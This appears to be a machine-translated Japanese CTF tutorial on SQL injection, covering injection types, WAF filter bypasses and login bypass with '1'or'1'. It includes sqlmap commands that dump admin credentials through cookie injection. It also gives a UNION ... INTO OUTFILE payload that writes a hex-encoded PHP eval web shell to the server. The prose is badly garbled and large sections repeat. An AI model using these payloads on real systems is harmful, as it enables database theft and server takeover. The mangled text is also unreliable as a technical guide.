CTF-ウェブ第二部分SQL注入(1)
二.SQL注入
https://www.w3schools.com/sql/func_mysqlconcat.asp SQLは構造化クエリ言語であり、データベースのライブラリ、テーブル、フィールドなどを照会しますが、SQL注入の原理はデータベースクエリを行う際に、厳密なチェックを行わずに、直接データベース実行文に持ち込みます。このように、いくつかのシステム関数を通じて関連情報を暴露するだけでなく、わざわざ作成した語句と事前情報を通じて、さらに関連データベース、テーブル、フィールドなどの情報を取得して、管理者のアカウントのパスワードなどを得ることができます。
常用キーワード: SELECTは列名FROMテーブル名を検索するために使用され、複数列のクエリー列名1、列名2をサポートし、SELECT*はすべての を選択します。 WHERE条件文制御クエリーの条件SELECT–WHERE USERNAME=‘SSYT’ INSERT挿入文は、指定されたフィールド を挿入することもできます。 UPDATE更新文は、すべてのフィールドと特殊フィールド のために更新されます。 UNION共同クエリサポートによる複数のクエリ LIKEは別のWHERE子文で使われるキーワードです。基本的に、LIKEは私たちが必要な資料を一つのセットに基づいて探し出すことができます。シンタックス–》select*fromテーブル名whereフィールド名like対応値(サブストリング)。主に文字型フィールドに対して、対応するサブストリングを含む文字型フィールドの列を検索する役割を果たしています。[例admin’or database()like‘c%]] SELECT*FROM Store uInformation WHERE Store_Name LIKE'%AN';3つのパターン–ABC%:'ABC'で始まるすべての文字列、'%XYZ':「XYZ」で終わるすべての文字列、「%AN%:『AN』という一連の文字列が含まれています。 関数のキーワード説明 union共同クエリは一回に複数のクエリです。 selectデータベースクエリ文; concat関数は、1行の複数の文字列を結合する。 group_concatは複数行を組み合わせて表示します。(制御できる表示ビットが限られていますので、複数の結果を1行に表示します。) で制御できます。 group_concat(フィールド名separator「-」)and or xorなどの論理キーワードも適用されます。キーフィールドだけでなく、その内設定関数、例えばuser()、database()なども実行できます。ここで注意したいのは、or 1=1を使用すると、該当する結果がすべて確認されてプリントされます。
よくあるフィルタの巻線方法: マスフィルタ--」はすべて%a 0または/**/代替として使用できます。括弧で囲まれてもいいです。元々は括弧はサブクエリを囲む です。注釈--」の後の注釈–+を使ってもいいですが、違っています。コメント記号((前のスペース)をバイパスします。(後のスペース)フィルタ シールドキー---」はキーワードの間に、union、select、whereなどを通して挿入できます。 シールドは、名前文字列に対して、16進数表記を使用してもいいです。また、回り道を使って、第二のクエリが逸脱するようにしてもいいです。 カンマで迂回します。」ブラインド注を使用する場合は、substr()、mid()、limitまで使用します。これらのサブルーチンはカンマまで使用します。substr()とmid()の2つの方法はfrom toの方式で解決できます。 シンボルフィルタ---』orand xor not迂回:and=&or=|xor=|not=! =回り道--」はlike、rlike、regexpまたは<または> を使用します。
注入タイプと方法
実はすべてのタイプはデータベース自身のテーブルの種類によって生み出されます。私達がテーブルを作る時、その後にはデータの種類によって制限があります。また、データベースによっては異なるデータの種類があります。だから、注入のタイプが違います。
SQLクエリ文には、データタイプの文法が3つあります。つまり、上で述べた数字型、文字型、検索型です。文法は以下の通りです。
デジタルタイプ:SELECT列FROM表WHERE数字型列=値例えば192.168.2.1:8808/admin.asp?id=1
文字型:SELECT列FROM表WHERE文字型列='値'例えばアカウントパスワード検証の「admin」「password」
サーチタイプ:SELECT*FROMテーブルWHERE whereが検索された列like'%値'
典型的な数字型の注入です。照会には数字の種類が使われています。このとき、私たちはand 1=1とand 1=2の判断方法を利用して、脆弱性があるかどうかを判断することができます。
文字型検索文には、入力された情報が単引用符に含まれています。全体の文字列id=1 and 1=1になると、「1 and 1=1」のIDクエリになります。ここでは、'and'1='1と'and'1='2という閉じた文字型の注入の判定文を使います。
検索型は、文字型の各文字列よりも一対の「%」、id=1の検索はid=「%1%」になります。私達のは「%1%」and'%1%"='%1%」「%1%」」「%1%"%and'%1%='%2%」が発生します。
全体としては、注入タイプの前では唯一の違いは、クエリの閉じ方であり、侵入検出中にテストの様々な閉じ方によって注入タイプを判断することになる。
実験では、Select user,password from adminタイプの検証は文字型であり、1’or‘1(万能パスワード)を使って、フィルタリングされたものに対しては他のロジックや文字を使ってフィルタされたものや関数の代わりに入力できます。実際には、クエリーの他の条件を考慮して、コメント機能を使用します。
(5)クッキーを目標サイトに注入するhttp://www.xxx.com/x.asp?id=1 1.IEブラウザで除外パラメータ(id=1)のurlにアクセスする:http://www.xxx.com/x.asp?(ページをロードして、パラメータを入力していないので異常です。2.IEブラウザでjavascript:alert(document.co okie=「id=」+escape(「1」)を入力し、再度アクセスします。http://www.xxx.com/x.asp?(ページを読み込み、正常に表示されます)。このページにはクッキー注入があります。逆にありません。コマンド:sqlmap.py–u"url"--cookie"パラメータ"--level 2 level"=2は、cookies注入試験でsqlmap.py–u"を注入できるかどうかを示します。http://www.xxx.com/x.asp」--クッキー「id=1」--level 2は、すべての表sqlmap.py–u"url"--クッキー「id=1」を調べます。--level 2--tablesクエリーフィールドsqlmap.py–u"url"--cookie"id=1"--level 2--tables--dump–C"usernma,paasword"–T"admin"
(6)ハッシュ・パスワードを盗み出すMySQLは、mysql.user・テーブルにハッシュ・パスワードを格納し、ハッシュ・パスワードはPASSWORD()関数を用いて計算される。https://bbs.ichunqiu.com/data/attachment/forum/201608/09/181039r17846t71stsscct.png https://bbs.ichunqiu.com/data/attachment/forum/201608/09/181255ohoffzdfpd4tfrp9.png
(7)WebShellを取得し、SQLを用いて攻撃を注入してWebShellを取得するということは、実際にはサーバにファイルを作成しています。(ここではウェブサイトの絶対パスを得る必要があります。)すべての一般的な関係データベース管理システム(RDBMS)いずれも内蔵されているサーバーファイルシステムにファイルを書く機能があります。シングルの引用符を入力する際にエラーが発生しました。絶対パスを得てファイルを書くには、select into outfile/MySQLを使ってファイルコマンドを作成します。「into outfile」「F:\www\test.php」例
書かれたファイル名は必ず存在しないと成功しません。ここのパスは使います。もし使うなら、\C:\apperv\www\mysqltest\shell 1.php
shellの取得については、私たちのsqlmapもできますし、より便利で、いくつかのコマンドのことができます。
https://www.w3schools.com/sql/func_mysqlconcat.asp SQLは構造化クエリ言語であり、データベースのライブラリ、テーブル、フィールドなどを照会しますが、SQL注入の原理はデータベースクエリを行う際に、厳密なチェックを行わずに、直接データベース実行文に持ち込みます。このように、いくつかのシステム関数を通じて関連情報を暴露するだけでなく、わざわざ作成した語句と事前情報を通じて、さらに関連データベース、テーブル、フィールドなどの情報を取得して、管理者のアカウントのパスワードなどを得ることができます。
常用キーワード:
よくあるフィルタの巻線方法:
(1) //,-- , /**/, #, --+, -- -, ;,%00,--a U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
(2) id=-1'UnIoN/**/SeLeCT;
(3) uni<>on se<>lect
(4) :foorr oorr 。
(5) id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
(6) ,
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
join: union select 1,2 # union select * from (select 1)a join (select 2)b
select * from (select database())a join (select version())b
// a,b , select *
SELECT a.id, a.name, b.count, b.date FROM a INNER JOIN b ON a.id= b.id;
// a,b ,id
まず、接続の結果は、SELECT文で指定された列からなる新しいテーブルとして論理的に見ることができます。左と右の接続の左右は、2つの表のどちらを基準としていますか?注入タイプと方法
実はすべてのタイプはデータベース自身のテーブルの種類によって生み出されます。私達がテーブルを作る時、その後にはデータの種類によって制限があります。また、データベースによっては異なるデータの種類があります。だから、注入のタイプが違います。
SQLクエリ文には、データタイプの文法が3つあります。つまり、上で述べた数字型、文字型、検索型です。文法は以下の通りです。
デジタルタイプ:SELECT列FROM表WHERE数字型列=値例えば192.168.2.1:8808/admin.asp?id=1
文字型:SELECT列FROM表WHERE文字型列='値'例えばアカウントパスワード検証の「admin」「password」
サーチタイプ:SELECT*FROMテーブルWHERE whereが検索された列like'%値'
典型的な数字型の注入です。照会には数字の種類が使われています。このとき、私たちはand 1=1とand 1=2の判断方法を利用して、脆弱性があるかどうかを判断することができます。
文字型検索文には、入力された情報が単引用符に含まれています。全体の文字列id=1 and 1=1になると、「1 and 1=1」のIDクエリになります。ここでは、'and'1='1と'and'1='2という閉じた文字型の注入の判定文を使います。
検索型は、文字型の各文字列よりも一対の「%」、id=1の検索はid=「%1%」になります。私達のは「%1%」and'%1%"='%1%」「%1%」」「%1%"%and'%1%='%2%」が発生します。
全体としては、注入タイプの前では唯一の違いは、クエリの閉じ方であり、侵入検出中にテストの様々な閉じ方によって注入タイプを判断することになる。
実験では、Select user,password from adminタイプの検証は文字型であり、1’or‘1(万能パスワード)を使って、フィルタリングされたものに対しては他のロジックや文字を使ってフィルタされたものや関数の代わりに入力できます。実際には、クエリーの他の条件を考慮して、コメント機能を使用します。
(5)クッキーを目標サイトに注入するhttp://www.xxx.com/x.asp?id=1 1.IEブラウザで除外パラメータ(id=1)のurlにアクセスする:http://www.xxx.com/x.asp?(ページをロードして、パラメータを入力していないので異常です。2.IEブラウザでjavascript:alert(document.co okie=「id=」+escape(「1」)を入力し、再度アクセスします。http://www.xxx.com/x.asp?(ページを読み込み、正常に表示されます)。このページにはクッキー注入があります。逆にありません。コマンド:sqlmap.py–u"url"--cookie"パラメータ"--level 2 level"=2は、cookies注入試験でsqlmap.py–u"を注入できるかどうかを示します。http://www.xxx.com/x.asp」--クッキー「id=1」--level 2は、すべての表sqlmap.py–u"url"--クッキー「id=1」を調べます。--level 2--tablesクエリーフィールドsqlmap.py–u"url"--cookie"id=1"--level 2--tables--dump–C"usernma,paasword"–T"admin"
(6)ハッシュ・パスワードを盗み出すMySQLは、mysql.user・テーブルにハッシュ・パスワードを格納し、ハッシュ・パスワードはPASSWORD()関数を用いて計算される。https://bbs.ichunqiu.com/data/attachment/forum/201608/09/181039r17846t71stsscct.png https://bbs.ichunqiu.com/data/attachment/forum/201608/09/181255ohoffzdfpd4tfrp9.png
(7)WebShellを取得し、SQLを用いて攻撃を注入してWebShellを取得するということは、実際にはサーバにファイルを作成しています。(ここではウェブサイトの絶対パスを得る必要があります。)すべての一般的な関係データベース管理システム(RDBMS)いずれも内蔵されているサーバーファイルシステムにファイルを書く機能があります。シングルの引用符を入力する際にエラーが発生しました。絶対パスを得てファイルを書くには、select into outfile/MySQLを使ってファイルコマンドを作成します。「into outfile」「F:\www\test.php」例
age=25 union select 1,2,3,4,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e into outfile 'C:/appserv/www/mysqltest/shell1.php'
url
age=25%20union%20select%201,2,3,4,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e%20into%20outfile%20%27C:/appserv/www/mysqltest/shell1.php%27
そのうち、0 x 3 c 3 f 7068702065616 c 28245 f 50545 b 277474275 d 293 f 3 eはhex符号化されている。書かれたファイル名は必ず存在しないと成功しません。ここのパスは使います。もし使うなら、\C:\apperv\www\mysqltest\shell 1.php
shellの取得については、私たちのsqlmapもできますし、より便利で、いくつかのコマンドのことができます。